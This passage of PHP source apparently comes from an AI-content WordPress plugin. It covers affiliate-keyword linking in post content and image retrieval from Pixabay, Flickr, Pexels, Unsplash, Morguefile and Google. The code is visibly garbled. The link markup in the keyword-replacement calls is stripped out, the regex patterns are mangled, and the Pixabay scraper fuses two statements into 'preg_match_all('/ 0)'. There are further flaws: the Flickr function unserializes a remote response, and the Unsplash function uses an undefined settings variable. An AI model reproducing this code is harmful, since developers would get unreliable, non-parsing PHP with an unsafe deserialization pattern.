                            $content = preg_replace('\'(?!((<.*?)|(]*?)>)|([^>]*?<\/a>))\'' . $add_case, '' . esc_html($repl) . '', $content, $max);
                        } 
                        else 
                        {
                            $content = preg_replace('\'(?!((<.*?)|(]*?)>)|([^>]*?<\/a>))\'' . $add_case, esc_html($repl), $content, $max);
                        }
                    }
                }
                return $content;
            }
            add_filter('the_content', 'aiomatic_add_affiliate_keyword');
            add_filter('the_excerpt', 'aiomatic_add_affiliate_keyword');
            function aiomatic_add_affiliate_keyword($content)
            {
                global $post;
                $rules  = get_option('aiomatic_keyword_list');
                if(!is_array($rules))
                {
                   $rules = array();
                }
                if (!empty($rules)) {
                    $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                    if(isset($aiomatic_Main_Settings['kw_skip_ids']) && $aiomatic_Main_Settings['kw_skip_ids'] != '')
                    {
                        $skip_ids = explode(',', $aiomatic_Main_Settings['kw_skip_ids']);
                        $skip_ids = array_map('trim', $skip_ids);
                        if(isset($post->ID) && is_numeric($post->ID) && in_array($post->ID, $skip_ids))
                        {
                            return $content;
                        }
                    }
                    if(isset($aiomatic_Main_Settings['partial_kws']) && $aiomatic_Main_Settings['partial_kws'] == 'on')
                    {
                        $word_boundry = '';
                    }
                    else
                    {
                        $word_boundry = '\b';
                    }
                    if(isset($aiomatic_Main_Settings['kws_case']) && $aiomatic_Main_Settings['kws_case'] == 'on')
                    {
                        $add_case = '';
                    }
                    else
                    {
                        $add_case = 'i';
                    }
                    if(isset($aiomatic_Main_Settings['no_new_tab_kw']) && $aiomatic_Main_Settings['no_new_tab_kw'] == 'on')
                    {
                        $add_blank = '';
                    }
                    else
                    {
                        $add_blank = ' target="_blank"';
                    }
                    foreach ($rules as $request => $value) {
                        if(isset($value[2]) && $value[2] == 'title')
                        {
                            continue;
                        }
                        if (is_array($value) && isset($value[1]) && $value[1] != '') {
                            $repl = $value[1];
                        } else {
                            $repl = $request;
                        }
                        if (isset($value[3]) && $value[3] != '') {
                            $max = intval($value[3]);
                        }
                        else
                        {
                            $max = -1;
                        }
                        if (isset($value[0]) && !empty($value[0])) 
                        {
                            $content1 = preg_replace('\'(?!((<.*?)|(]*?)>)|([^>]*?<\/a>))\'' . $add_case, '' . esc_html($repl) . '', $content, $max);
                            if($content1 !== null)
                            {
                                $content = $content1;
                            }
                        } else {
                            $content1 = preg_replace('\'(?!((<.*?)|(]*?)>)|([^>]*?<\/a>))\'' . $add_case, esc_html($repl), $content, $max);
                            if($content1 !== null)
                            {
                                $content = $content1;
                            }
                        }
                    }
                }
                return $content;
            }
            
            function aiomatic_generateRandomString($length = 10) {
                $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
                $charactersLength = strlen($characters);
                $randomString = '';
                for ($i = 0; $i < $length; $i++) {
                    $randomString .= $characters[rand(0, $charactersLength - 1)];
                }
                return $randomString;
            }
            function aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, &$img_attr, $res_cnt = 3, $no_copy = false, &$added_img_list = array(), $rand_arr = array(), &$full_result_list = array())
            {
                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                {
                    aiomatic_log_to_file('Searching for a royalty free image for keyword: ' . $query_words);
                }
                $original_url = '';
                if(empty($rand_arr))
                {
                    $rand_arr = get_option('aiomatic_image_cards_order', array());
                }
                if(empty($rand_arr))
                {
                    if(isset($aiomatic_Main_Settings['pixabay_api']) && $aiomatic_Main_Settings['pixabay_api'] != '')
                    {
                        $rand_arr[] = 'pixabay';
                    }
                    if(isset($aiomatic_Main_Settings['flickr_api']) && $aiomatic_Main_Settings['flickr_api'] !== '')
                    {
                        $rand_arr[] = 'flickr';
                    }
                    if(isset($aiomatic_Main_Settings['pexels_api']) && $aiomatic_Main_Settings['pexels_api'] !== '')
                    {
                        $rand_arr[] = 'pexels';
                    }
                    if(isset($aiomatic_Main_Settings['pixabay_scrape']) && $aiomatic_Main_Settings['pixabay_scrape'] == 'on')
                    {
                        $rand_arr[] = 'pixabayscrape';
                    }
                    if(isset($aiomatic_Main_Settings['unsplash_api']) && $aiomatic_Main_Settings['unsplash_api'] == 'on')
                    {
                        $rand_arr[] = 'unsplash';
                    }
                    if(isset($aiomatic_Main_Settings['google_images']) && $aiomatic_Main_Settings['google_images'] == 'on')
                    {
                        $rand_arr[] = 'google';
                    }
                }
                $rez = false;
                while(($rez === false || $rez === '') && count($rand_arr) > 0)
                {
                    if(!isset($aiomatic_Main_Settings['random_image_sources']) || $aiomatic_Main_Settings['random_image_sources'] != 'on')
                    {
                        $rand = array_rand($rand_arr);
                    }
                    else
                    {
                        $rand = array_key_first($rand_arr);
                    }
                    if($rand_arr[$rand] == 'pixabay')
                    {
                        unset($rand_arr[$rand]);
                        if(isset($aiomatic_Main_Settings['img_ss']) && $aiomatic_Main_Settings['img_ss'] == 'on')
                        {
                            $img_ss = '1';
                        }
                        else
                        {
                            $img_ss = '0';
                        }
                        if(isset($aiomatic_Main_Settings['img_editor']) && $aiomatic_Main_Settings['img_editor'] == 'on')
                        {
                            $img_editor = '1';
                        }
                        else
                        {
                            $img_editor = '0';
                        }
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Searching Pixabay...');
                        }
                        $rez = aiomatic_get_pixabay_image($aiomatic_Main_Settings['pixabay_api'], $query_words, $aiomatic_Main_Settings['img_language'], $aiomatic_Main_Settings['imgtype'], $aiomatic_Main_Settings['scrapeimg_orientation'], $aiomatic_Main_Settings['img_order'], $aiomatic_Main_Settings['img_cat'], $aiomatic_Main_Settings['img_mwidth'], $aiomatic_Main_Settings['img_width'], $img_ss, $img_editor, $original_url, $res_cnt, $added_img_list, $full_result_list);
                        if($rez !== false && $rez !== '')
                        {
                            $img_attr = str_replace('%%image_source_name%%', 'Pixabay', $img_attr);
                            $img_attr = str_replace('%%image_source_url%%', $original_url, $img_attr);
                            $img_attr = str_replace('%%image_source_website%%', 'https://pixabay.com/', $img_attr);
                        }
                    }
                    elseif($rand_arr[$rand] == 'morguefile')
                    {
                        unset($rand_arr[$rand]);
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Searching Morguefile...');
                        }
                        $rez = aiomatic_get_morguefile_image($aiomatic_Main_Settings['morguefile_api'], $aiomatic_Main_Settings['morguefile_secret'], $query_words, $original_url, $added_img_list, $full_result_list);
                        if($rez !== false && $rez !== '')
                        {
                            $img_attr = str_replace('%%image_source_name%%', 'MorgueFile', $img_attr);
                            $img_attr = str_replace('%%image_source_url%%', 'https://morguefile.com/', $img_attr);
                            $img_attr = str_replace('%%image_source_website%%', 'https://morguefile.com/', $img_attr);
                        }
                    }
                    elseif($rand_arr[$rand] == 'flickr')
                    {
                        unset($rand_arr[$rand]);
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Searching Flickr...');
                        }
                        $rez = aiomatic_get_flickr_image($aiomatic_Main_Settings, $query_words, $original_url, $res_cnt, $added_img_list, $full_result_list);
                        if($rez !== false && $rez !== '')
                        {
                            $img_attr = str_replace('%%image_source_name%%', 'Flickr', $img_attr);
                            $img_attr = str_replace('%%image_source_url%%', $original_url, $img_attr);
                            $img_attr = str_replace('%%image_source_website%%', 'https://www.flickr.com/', $img_attr);
                        }
                    }
                    elseif($rand_arr[$rand] == 'pexels')
                    {
                        unset($rand_arr[$rand]);
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Searching Pexels...');
                        }
                        $rez = aiomatic_get_pexels_image($aiomatic_Main_Settings, $query_words, $original_url, $res_cnt, $added_img_list, $full_result_list);
                        if($rez !== false && $rez !== '')
                        {
                            $img_attr = str_replace('%%image_source_name%%', 'Pexels', $img_attr);
                            $img_attr = str_replace('%%image_source_url%%', $original_url, $img_attr);
                            $img_attr = str_replace('%%image_source_website%%', 'https://www.pexels.com/', $img_attr);
                        }
                    }
                    elseif($rand_arr[$rand] == 'pixabayscrape')
                    {
                        unset($rand_arr[$rand]);
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Searching Pixabay Scraping...');
                        }
                        $rez = aiomatic_scrape_pixabay_image($aiomatic_Main_Settings, $query_words, $original_url, $added_img_list, $full_result_list);
                        if($rez !== false && $rez !== '')
                        {
                            $img_attr = str_replace('%%image_source_name%%', 'Pixabay', $img_attr);
                            $img_attr = str_replace('%%image_source_url%%', $original_url, $img_attr);
                            $img_attr = str_replace('%%image_source_website%%', 'https://pixabay.com/', $img_attr);
                        }
                    }
                    elseif($rand_arr[$rand] == 'unsplash')
                    {
                        unset($rand_arr[$rand]);
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Searching Unsplash...');
                        }
                        $rez = aiomatic_scrape_unsplash_image($query_words, $original_url, $added_img_list, $full_result_list);
                        if($rez !== false && $rez !== '')
                        {
                            $img_attr = str_replace('%%image_source_name%%', 'Unsplash', $img_attr);
                            $img_attr = str_replace('%%image_source_url%%', $original_url, $img_attr);
                            $img_attr = str_replace('%%image_source_website%%', 'https://unsplash.com/', $img_attr);
                        }
                    }
                    elseif($rand_arr[$rand] == 'google')
                    {
                        unset($rand_arr[$rand]);
                        $original_url = 'https://google.com/';
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Searching Google Images...');
                        }
                        $rez = aiomatic_get_random_image_google($query_words, 0, 0, '', $added_img_list, $full_result_list);
                        if($rez !== false && $rez !== '')
                        {
                            $img_attr = str_replace('%%image_source_name%%', 'Google Images', $img_attr);
                            $img_attr = str_replace('%%image_source_url%%', $original_url, $img_attr);
                            $img_attr = str_replace('%%image_source_website%%', 'https://google.com/', $img_attr);
                        }
                    }
                    else
                    {
                        aiomatic_log_to_file('Unrecognized free file source: ' . $rand_arr[$rand]);
                        unset($rand_arr[$rand]);
                    }
                }
                $img_attr = str_replace('%%image_source_name%%', '', $img_attr);
                $img_attr = str_replace('%%image_source_url%%', '', $img_attr);
                $img_attr = str_replace('%%image_source_website%%', '', $img_attr);
                if($rez !== false && $rez !== '')
                {
                    if($no_copy !== true)
                    {
                        if(isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled')
                        {
                            $localpath = aiomatic_copy_image_locally($rez);
                            if($localpath !== false)
                            {
                                $rez = $localpath[0];
                            }
                        }
                    }
                }
                return $rez;
            }
            function aiomatic_scrape_pixabay_image($aiomatic_Main_Settings, $query, &$original_url, &$added_img_list = array(), &$full_result_list = array())
            {
                if(isset($aiomatic_Main_Settings['image_pool']) && $aiomatic_Main_Settings['image_pool'] != '')
                {
                    $max_res = intval($aiomatic_Main_Settings['image_pool']);
                }
                else
                {
                    $max_res = 4;
                }
                $original_url = 'https://pixabay.com';
                $featured_image = '';
                if(isset($aiomatic_Main_Settings['image_query_translate_en']) && $aiomatic_Main_Settings['image_query_translate_en'] == 'on')
                {
                    $text_trans = aiomatic_translate_stability($query);
                    if($text_trans != $query && !empty($text_trans))
                    {
                        aiomatic_log_to_file('Pixabay Scraper query translated from: "' . $query . '" to: "' . $text_trans . '"');
                        $query = $text_trans;
                    }
                }
                $feed_uri = 'https://pixabay.com/photos/search/' . urlencode($query) . '/';
                if($aiomatic_Main_Settings['scrapeimgtype'] != 'all')
                {
                    if(strstr($feed_uri, '?'))
                    {
                        $feed_uri .= '&image_type=' . $aiomatic_Main_Settings['scrapeimgtype'];
                    }
                    else
                    {
                        $feed_uri .= '?image_type=' . $aiomatic_Main_Settings['scrapeimgtype'];
                    }
                }
                if($aiomatic_Main_Settings['scrapeimg_orientation'] != '')
                {
                    if(strstr($feed_uri, '?'))
                    {
                        $feed_uri .= '&orientation=' . $aiomatic_Main_Settings['scrapeimg_orientation'];
                    }
                    else
                    {
                        $feed_uri .= '?orientation=' . $aiomatic_Main_Settings['scrapeimg_orientation'];
                    }
                }
                if($aiomatic_Main_Settings['scrapeimg_order'] != '' && $aiomatic_Main_Settings['scrapeimg_order'] != 'any')
                {
                    if(strstr($feed_uri, '?'))
                    {
                        $feed_uri .= '&order=' . $aiomatic_Main_Settings['scrapeimg_order'];
                    }
                    else
                    {
                        $feed_uri .= '?order=' . $aiomatic_Main_Settings['scrapeimg_order'];
                    }
                }
                if($aiomatic_Main_Settings['scrapeimg_cat'] != '')
                {
                    if(strstr($feed_uri, '?'))
                    {
                        $feed_uri .= '&category=' . $aiomatic_Main_Settings['scrapeimg_cat'];
                    }
                    else
                    {
                        $feed_uri .= '?category=' . $aiomatic_Main_Settings['scrapeimg_cat'];
                    }
                }
                if($aiomatic_Main_Settings['scrapeimg_height'] != '')
                {
                    if(strstr($feed_uri, '?'))
                    {
                        $feed_uri .= '&min_height=' . $aiomatic_Main_Settings['scrapeimg_height'];
                    }
                    else
                    {
                        $feed_uri .= '?min_height=' . $aiomatic_Main_Settings['scrapeimg_height'];
                    }
                }
                if($aiomatic_Main_Settings['scrapeimg_width'] != '')
                {
                    if(strstr($feed_uri, '?'))
                    {
                        $feed_uri .= '&min_width=' . $aiomatic_Main_Settings['scrapeimg_width'];
                    }
                    else
                    {
                        $feed_uri .= '?min_width=' . $aiomatic_Main_Settings['scrapeimg_width'];
                    }
                }
                $exec = aiomatic_get_web_page_from_search($feed_uri);
                if ($exec !== FALSE) 
                {
                    preg_match_all('/ 0)
                        {
                            foreach($p as $im)
                            {
                                $full_result_list[] = $im;
                            }
                            $p = array_slice($p, 0, $max_res, true);
                            if(!isset($aiomatic_Main_Settings['random_results_order']) || $aiomatic_Main_Settings['random_results_order'] != 'on')
                            {
                                shuffle($p);
                            }
                            foreach ($p as $key => $val) 
                            {
                                if(!in_array($val, $added_img_list))
                                {
                                    $added_img_list[] = $val;
                                    $featured_image = $val;
                                    if(!is_numeric($key))
                                    {
                                        if(substr($key, 0, 4) !== "http")
                                        {
                                            $key = 'https://pixabay.com' . $key;
                                        }
                                        $original_url = $key;
                                    }
                                    else
                                    {
                                        $original_url = 'https://pixabay.com';
                                    }
                                    break;
                                }
                            }
                        }
                    }
                }
                else
                {
                    aiomatic_log_to_file('Error while getting api url: ' . $feed_uri);
                    return false;
                }
                return $featured_image;
            }
            function aiomatic_scrape_unsplash_image($query, &$original_url, &$added_img_list = array(), &$full_result_list = array())
            {
                $original_url = 'https://unsplash.com/';
                $feed_uri = 'https://source.unsplash.com/1600x900/';
                if(isset($aiomatic_Main_Settings['image_query_translate_en']) && $aiomatic_Main_Settings['image_query_translate_en'] == 'on')
                {
                    $text_trans = aiomatic_translate_stability($query);
                    if($text_trans != $query && !empty($text_trans))
                    {
                        aiomatic_log_to_file('Unsplash query translated from: "' . $query . '" to: "' . $text_trans . '"');
                        $query = $text_trans;
                    }
                }
                if($query != '')
                {
                    $feed_uri .= '?' . urlencode($query);
                }
                error_reporting(0);
                ini_set('default_socket_timeout', 120);
                $exec = get_headers($feed_uri);
                error_reporting(E_ALL);
                if ($exec === FALSE || !is_array($exec))
                {
                    aiomatic_log_to_file('Error while getting api url: ' . $feed_uri);
                }
                $nono = false;
                $locx = false;
                foreach($exec as $ex)
                {
                    if(strstr($ex, 'Location:') !== false)
                    {
                        if(strstr($ex, 'source-404') !== false)
                        {
                            $nono = true;
                        }
                        $locx = $ex;
                        $locx = preg_replace('/^Location: /', '', $locx);
                        break;
                    }
                }
                if($nono == true)
                {
                    aiomatic_log_to_file('NO image found on Unsplash for query: ' . $query);
                    return false;
                }
                else
                {
                    if($locx == false)
                    {
                        aiomatic_log_to_file('Failed to parse response: ' . $feed_uri);
                        return false;
                    }
                    $original_url = $locx;
                    if(!in_array($locx, $added_img_list))
                    {
                        $added_img_list[] = $locx;
                        $full_result_list[] = $locx;
                        return $locx;
                    }
                }
                return false;
            }
            function aiomatic_get_pexels_image($aiomatic_Main_Settings, $query, &$original_url, $max, &$added_img_list = array(), &$full_result_list = array())
            {
                if(isset($aiomatic_Main_Settings['image_pool']) && $aiomatic_Main_Settings['image_pool'] != '')
                {
                    $max_res = intval($aiomatic_Main_Settings['image_pool']);
                }
                else
                {
                    $max_res = 4;
                }
                $original_url = 'https://pexels.com';
                $featured_image = '';
                if(isset($aiomatic_Main_Settings['image_query_translate_en']) && $aiomatic_Main_Settings['image_query_translate_en'] == 'on')
                {
                    $text_trans = aiomatic_translate_stability($query);
                    if($text_trans != $query && !empty($text_trans))
                    {
                        aiomatic_log_to_file('Pexels Query translated from: "' . $query . '" to: "' . $text_trans . '"');
                        $query = $text_trans;
                    }
                }
                $feed_uri = 'https://api.pexels.com/v1/search?query=' . urlencode($query) . '&per_page=' . $max;
                 
                {
                    $ch               = curl_init();
                    if ($ch === FALSE) {
                        aiomatic_log_to_file('Failed to init curl for flickr!');
                        return false;
                    }
                    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Authorization: ' . trim($aiomatic_Main_Settings['pexels_api'])));
                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                    curl_setopt($ch, CURLOPT_HTTPGET, 1);
                    if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                    {
                        $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                    }
                    else
                    {
                        $ztime = 300;
                    }
                    curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                    curl_setopt($ch, CURLOPT_URL, $feed_uri);
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    $exec = curl_exec($ch);
                    curl_close($ch);
                    if (stristr($exec, 'photos') === FALSE) {
                        aiomatic_log_to_file('Unrecognized Pexels API response: ' . $exec . ' URI: ' . $feed_uri);
                        return false;
                    }
                    $items = json_decode ( $exec, true );
                    if(!isset($items['photos']))
                    {
                        aiomatic_log_to_file('Failed to find photo node in Pexels response: ' . $exec . ' URI: ' . $feed_uri);
                        return false;
                    }
                    if(count($items['photos']) == 0)
                    {
                        return $featured_image;
                    }
                    $x = 0;
                    foreach($items['photos'] as $photox)
                    {
                        if(isset($photox['src']['large']))
                        {
                            $full_result_list[] = $photox['src']['large'];
                        }
                        elseif(isset($photox['src']['medium']))
                        {
                            $full_result_list[] = $photox['src']['medium'];
                        }
                        elseif(isset($photox['src']['small']))
                        {
                            $full_result_list[] = $photox['src']['small'];
                        }
                        elseif(isset($photox['src']['portrait']))
                        {
                            $full_result_list[] = $photox['src']['portrait'];
                        }
                        elseif(isset($photox['src']['landscape']))
                        {
                            $full_result_list[] = $photox['src']['landscape'];
                        }
                        elseif(isset($photox['src']['original']))
                        {
                            $full_result_list[] = $photox['src']['original'];
                        }
                        elseif(isset($photox['src']['tiny']))
                        {
                            $full_result_list[] = $photox['src']['tiny'];
                        }
                    }
                    $items['photos'] = array_slice($items['photos'], 0, $max_res, true);
                    if(!isset($aiomatic_Main_Settings['random_results_order']) || $aiomatic_Main_Settings['random_results_order'] != 'on')
                    {
                        shuffle($items['photos']);
                    }
                    while($featured_image == '' && isset($items['photos'][$x]))
                    {
                        $item = $items['photos'][$x];
                        if(isset($item['src']['large']))
                        {
                            if(!in_array($item['src']['large'], $added_img_list))
                            {
                                $featured_image = $item['src']['large'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['src']['medium']))
                        {
                            if(!in_array($item['src']['medium'], $added_img_list))
                            {
                                $featured_image = $item['src']['medium'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['src']['small']))
                        {
                            if(!in_array($item['src']['small'], $added_img_list))
                            {
                                $featured_image = $item['src']['small'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['src']['portrait']))
                        {
                            if(!in_array($item['src']['portrait'], $added_img_list))
                            {
                                $featured_image = $item['src']['portrait'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['src']['landscape']))
                        {
                            if(!in_array($item['src']['landscape'], $added_img_list))
                            {
                                $featured_image = $item['src']['landscape'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['src']['original']))
                        {
                            if(!in_array($item['src']['original'], $added_img_list))
                            {
                                $featured_image = $item['src']['original'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['src']['tiny']))
                        {
                            if(!in_array($item['src']['tiny'], $added_img_list))
                            {
                                $featured_image = $item['src']['tiny'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        if($featured_image != '')
                        {
                            $original_url = $item['url'];
                        }
                        $x++;
                    }
                }
                return $featured_image;
            }
            function aiomatic_get_flickr_image($aiomatic_Main_Settings, $query, &$original_url, $max, &$added_img_list = array(), &$full_result_list = array())
            {
                if(isset($aiomatic_Main_Settings['image_pool']) && $aiomatic_Main_Settings['image_pool'] != '')
                {
                    $max_res = intval($aiomatic_Main_Settings['image_pool']);
                }
                else
                {
                    $max_res = 4;
                }
                $original_url = 'https://www.flickr.com';
                $featured_image = '';
                if(isset($aiomatic_Main_Settings['image_query_translate_en']) && $aiomatic_Main_Settings['image_query_translate_en'] == 'on')
                {
                    $text_trans = aiomatic_translate_stability($query);
                    if($text_trans != $query && !empty($text_trans))
                    {
                        aiomatic_log_to_file('Flickr Query translated from: "' . $query . '" to: "' . $text_trans . '"');
                        $query = $text_trans;
                    }
                }
                $feed_uri = 'https://api.flickr.com/services/rest/?method=flickr.photos.search&api_key=' . trim($aiomatic_Main_Settings['flickr_api']) . '&media=photos&per_page=' . esc_html($max) . '&format=php_serial&text=' . urlencode($query);
                if(isset($aiomatic_Main_Settings['flickr_license']) && $aiomatic_Main_Settings['flickr_license'] != '-1')
                {
                    $feed_uri .= '&license=' . $aiomatic_Main_Settings['flickr_license'];
                }
                if(isset($aiomatic_Main_Settings['flickr_order']) && $aiomatic_Main_Settings['flickr_order'] != '')
                {
                    $feed_uri .= '&sort=' . $aiomatic_Main_Settings['flickr_order'];
                }
                $feed_uri .= '&extras=description,license,date_upload,date_taken,owner_name,icon_server,original_format,last_update,geo,tags,machine_tags,o_dims,views,media,path_alias,url_sq,url_t,url_s,url_q,url_m,url_n,url_z,url_c,url_l,url_o';
                 
                {
                    $ch               = curl_init();
                    if ($ch === FALSE) {
                        aiomatic_log_to_file('Failed to init curl for flickr!');
                        return false;
                    }
                    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Referer: https://www.flickr.com/'));
                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                    curl_setopt($ch, CURLOPT_HTTPGET, 1);
                    if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                    {
                        $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                    }
                    else
                    {
                        $ztime = 300;
                    }
                    curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                    curl_setopt($ch, CURLOPT_URL, $feed_uri);
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    $exec = curl_exec($ch);
                    curl_close($ch);
                    if (stristr($exec, 'photos') === FALSE) {
                        aiomatic_log_to_file('Unrecognized Flickr API response: ' . $exec . ' URI: ' . $feed_uri);
                        return false;
                    }
                    $items = unserialize ( $exec );
                    if(!isset($items['photos']['photo']))
                    {
                        aiomatic_log_to_file('Failed to find photo node in response: ' . $exec . ' URI: ' . $feed_uri);
                        return false;
                    }
                    if(count($items['photos']['photo']) == 0)
                    {
                        return $featured_image;
                    }
                    foreach($items['photos']['photo'] as $photox)
                    {
                        if(isset($photox['url_o']))
                        {
                            $full_result_list[] = $photox['url_o'];
                        }
                        elseif(isset($photox['url_l']))
                        {
                            $full_result_list[] = $photox['url_l'];
                        }
                        elseif(isset($photox['url_c']))
                        {
                            $full_result_list[] = $photox['url_c'];
                        }
                        elseif(isset($photox['url_z']))
                        {
                            $full_result_list[] = $photox['url_z'];
                        }
                        elseif(isset($photox['url_n']))
                        {
                            $full_result_list[] = $photox['url_n'];
                        }
                        elseif(isset($photox['url_m']))
                        {
                            $full_result_list[] = $photox['url_m'];
                        }
                        elseif(isset($photox['url_q']))
                        {
                            $full_result_list[] = $photox['url_q'];
                        }
                        elseif(isset($photox['url_s']))
                        {
                            $full_result_list[] = $photox['url_s'];
                        }
                        elseif(isset($photox['url_t']))
                        {
                            $full_result_list[] = $photox['url_t'];
                        }
                        elseif(isset($photox['url_sq']))
                        {
                            $full_result_list[] = $photox['url_sq'];
                        }
                    }
                    $x = 0;
                    $items['photos']['photo'] = array_slice($items['photos']['photo'], 0, $max_res, true);
                    if(!isset($aiomatic_Main_Settings['random_results_order']) || $aiomatic_Main_Settings['random_results_order'] != 'on')
                    {
                        shuffle($items['photos']['photo']);
                    }
                    while($featured_image == '' && isset($items['photos']['photo'][$x]))
                    {
                        $item = $items['photos']['photo'][$x];
                        if(isset($item['url_o']))
                        {
                            if(!in_array($item['url_o'], $added_img_list))
                            {
                                $featured_image = $item['url_o'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['url_l']))
                        {
                            if(!in_array($item['url_l'], $added_img_list))
                            {
                                $featured_image = $item['url_l'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['url_c']))
                        {
                            if(!in_array($item['url_c'], $added_img_list))
                            {
                                $featured_image = $item['url_c'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['url_z']))
                        {
                            if(!in_array($item['url_z'], $added_img_list))
                            {
                                $featured_image = $item['url_z'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['url_n']))
                        {
                            if(!in_array($item['url_n'], $added_img_list))
                            {
                                $featured_image = $item['url_n'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['url_m']))
                        {
                            if(!in_array($item['url_m'], $added_img_list))
                            {
                                $featured_image = $item['url_m'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['url_q']))
                        {
                            if(!in_array($item['url_q'], $added_img_list))
                            {
                                $featured_image = $item['url_q'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['url_s']))
                        {
                            if(!in_array($item['url_s'], $added_img_list))
                            {
                                $featured_image = $item['url_s'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['url_t']))
                        {
                            if(!in_array($item['url_t'], $added_img_list))
                            {
                                $featured_image = $item['url_t'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        elseif(isset($item['url_sq']))
                        {
                            if(!in_array($item['url_sq'], $added_img_list))
                            {
                                $featured_image = $item['url_sq'];
                                $added_img_list[] = $featured_image;
                            }
                        }
                        if($featured_image != '')
                        {
                            $original_url = 'https://www.flickr.com/photos/' . $item['owner'] . '/' . $item['id'];
                        }
                        $x++;
                    }
                }
                return $featured_image;
            }
            function aiomatic_get_morguefile_image($app_id, $app_secret, $query, &$original_url, &$added_img_list = array(), &$full_result_list = array())
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if(isset($aiomatic_Main_Settings['image_pool']) && $aiomatic_Main_Settings['image_pool'] != '')
                {
                    $max_res = intval($aiomatic_Main_Settings['image_pool']);
                }
                else
                {
                    $max_res = 4;
                }
                $featured_image = '';
                if(!class_exists('aiomatic_morguefile'))
                {
                    require_once (dirname(__FILE__) . "/res/morguefile/mf.api.class.php");
                }
                if(isset($aiomatic_Main_Settings['image_query_translate_en']) && $aiomatic_Main_Settings['image_query_translate_en'] == 'on')
                {
                    $text_trans = aiomatic_translate_stability($query);
                    if($text_trans != $query && !empty($text_trans))
                    {
                        aiomatic_log_to_file('MorgueFile query translated from: "' . $query . '" to: "' . $text_trans . '"');
                        $query = $text_trans;
                    }
                }
                $query = explode(' ', $query);
                $query = $query[0];
                {
                    $mf = new aiomatic_morguefile(trim($app_id), $app_secret);
                    $rez = $mf->call('/images/search/sort/page/' . $query);
                    if ($rez !== FALSE) 
                    {
                        foreach($rez->doc as $myImg)
                        {
                            $full_result_list[] = $myImg->file_path_large;
                        }
                        $rez->doc = array_slice($rez->doc, 0, $max_res, true);
                        $chosen_one = $rez->doc[array_rand($rez->doc)];
                        if(!isset($aiomatic_Main_Settings['random_results_order']) || $aiomatic_Main_Settings['random_results_order'] != 'on')
                        {
                            shuffle($chosen_one);
                        }
                        if (isset($chosen_one->file_path_large)) 
                        {
                            if(!in_array($chosen_one->file_path_large, $added_img_list))
                            {
                                $added_img_list[] = $chosen_one->file_path_large;
                                return $chosen_one->file_path_large;
                            }
                        }
                        else
                        {
                            return false;
                        }
                    }
                    else
                    {
                        aiomatic_log_to_file('Error while getting api response from morguefile.');
                        return false;
                    }
                }
                return $featured_image;
            }
            function aiomatic_get_pixabay_image($app_id, $query, $lang, $image_type, $orientation, $order, $image_category, $max_width, $min_width, $safe_search, $editors_choice, &$original_url, $get_max = 3, &$added_img_list = array(), &$full_result_list = array())
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if(isset($aiomatic_Main_Settings['image_pool']) && $aiomatic_Main_Settings['image_pool'] != '')
                {
                    $max_res = intval($aiomatic_Main_Settings['image_pool']);
                }
